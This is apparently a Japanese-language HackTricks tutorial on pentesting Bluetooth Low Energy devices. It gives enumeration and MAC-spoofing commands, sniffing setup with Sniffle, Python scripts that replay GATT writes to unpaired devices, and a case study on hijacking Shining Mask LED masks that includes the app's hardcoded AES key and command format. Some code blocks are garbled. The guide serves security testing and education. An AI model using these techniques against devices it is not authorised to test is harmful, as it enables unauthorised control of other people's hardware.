Pentesting BLE - Bluetooth Low Energy
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
導入
Bluetooth 4.0 仕様以降で利用可能な BLE は、2400〜2483.5 MHz の範囲をカバーするわずか40チャネルしか使用しません。これに対して従来の Bluetooth は同じ範囲で79チャネルを使用します。
BLE デバイスは advertising packets(beacons)を送信して通信します。これらのパケットは BLE デバイスの存在を近隣のデバイスにブロードキャストします。これらの beacons は時にデータも送信します。
受信側のデバイス(central device とも呼ばれる)は、advertising packet に対してその advertising デバイス宛に送る SCAN request で応答できます。そのスキャンへの response は advertising packet と同じ構造ですが、初回の advertising request に収まりきらなかった追加情報(フルデバイス名など)を含みます。
.png)
プレアンブルバイトは周波数の同期をとり、4バイトの access address は connection identifier(接続識別子)で、複数のデバイスが同一チャネルで接続を確立しようとする状況で使用されます。次に、Protocol Data Unit(PDU)には advertising data が含まれます。PDU にはいくつかの種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスが接続を受け付けない場合は ADV_NONCONN_IND PDU タイプを使い、advertising packet のみでデータを送信します。接続を許可する場合は ADV_IND を使い、connection が確立されると advertising packet の送信を停止します。
GATT
Generic Attribute Profile(GATT)は、device がどのようにデータをフォーマットし転送すべきかを定義します。BLE デバイスの攻撃面を解析する際は、GATT(または GATTs)に注目することが多いです。なぜなら GATT はデバイス機能がどのようにトリガーされるか、またデータがどのように格納・グループ化・変更されるかを示すからです。GATT はデバイスの characteristics、descriptors、services を 16-bit または 32-bit の値としてテーブルに列挙します。characteristic は central device と peripheral 間で送受信される data 値です。これらの characteristics は追加情報を提供する descriptors を持つことがあります。関連する特定の動作を行う場合、characteristics は services にグループ化されることが多いです。
列挙
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool は別のデバイスと接続を確立し、そのデバイスの特性を一覧表示し、属性の読み書きを行えます。
GATTTool は -I オプションでインタラクティブシェルを起動できます:
GATTTool のインタラクティブな使い方と例
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing とペアリングされていない BLE デバイスの能動的制御
多くの低価格な BLE 周辺機器は pairing/bonding を強制しません。bonding が行われないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは平文になります。オフパスの sniffer は接続を追跡して GATT 操作をデコードし、characteristic のハンドルや値を特定できます。近くの任意のホストは接続してそれらの write を再生し、デバイスを制御できます。
Sniffle (CC26x2/CC1352) を使った Sniffing
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) — NCC Group の Sniffle firmware に再フラッシュ済み。
Linux に Sniffle とその Wireshark extcap をインストール:
Sniffle extcap をインストール (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```SonoffをSniffle firmwareでフラッシュしてください(シリアルデバイスが一致することを確認してください。例: /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
WiresharkのSniffle extcap経由でキャプチャし、フィルタでstate-changing writesに素早くpivotする:
_ws.col.info contains "Sent Write Command"
これはクライアントからの ATT Write Commands を強調表示します。ハンドルと値はしばしばデバイスの動作に直接対応します(例:ブザー/アラート characteristic に 0x01 を書き込み、停止には 0x00)。
Sniffle CLI のクイック例:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. 小型/安価な Nordic ドングルでは通常、スニファー用ファームウェアをロードするために USB ブートローダを上書きするため、専用のスニファードングルを維持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
GATT を介したアクティブ制御
スニッフしたトラフィックから書き込み可能な characteristic handle と value を特定したら、任意の central として接続し、同じ書き込みを実行します:
-
Nordic nRF Connect for Desktop (BLE app) を使用:
-
nRF52/nRF52840 ドングルを選択し、スキャンしてターゲットに接続します。
-
GATT データベースを参照してターゲットの characteristic を探します(多くはフレンドリ名が付いており、例: Alert Level)。
-
スニッフしたバイトで Write を実行します(例: トリガーに 01、停止に 00)。
-
Windows で Nordic ドングルを使い Python + blatann で自動化:
Python blatann 書き込み例 (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### ケーススタディ:BLE LED マスクの乗っ取り(Shining Mask ファミリー)
安価なホワイトラベルの BLE LED マスクは、Shining Mask アプリで制御され、ペアリング/ボンディング無しで近くの任意の central からの write 制御を受け付ける。アプリは GATT を使って command characteristic と data characteristic にアクセスする。コマンドはアプリにハードコードされた static key で AES‑ECB 暗号化されるが、画像データ本体は暗号化されていない。
Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
未認証の GATT 書き込み
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- 観測された一般的な操作: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
静的キー AES コマンドフレーミング
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
イメージアップロードのフロー
- 暗号化された DATS handshake の後、raw chunks は data characteristic …960a に暗号化されずに書き込まれる。
- パケット形式: [len][seq][payload]. 経験的に、1パケットあたり約100 bytes の payload が安定して動作する。
最小限のイメージアップロードの擬似コード
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
## 運用上の注意
- チャネルホッピングと接続追従を確実に行うため、Linux上でSonoff+Sniffleを使用することを推奨します。予備としてNordic snifferを1台用意してください。
- pairing/bondingを行っていない場合、近くの攻撃者は書き込みを観測して再生したり、未認証の書き込み可能なcharacteristicsに対して独自の書き込みを作成したりすることができます。
## 参考資料
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>
HackTricks

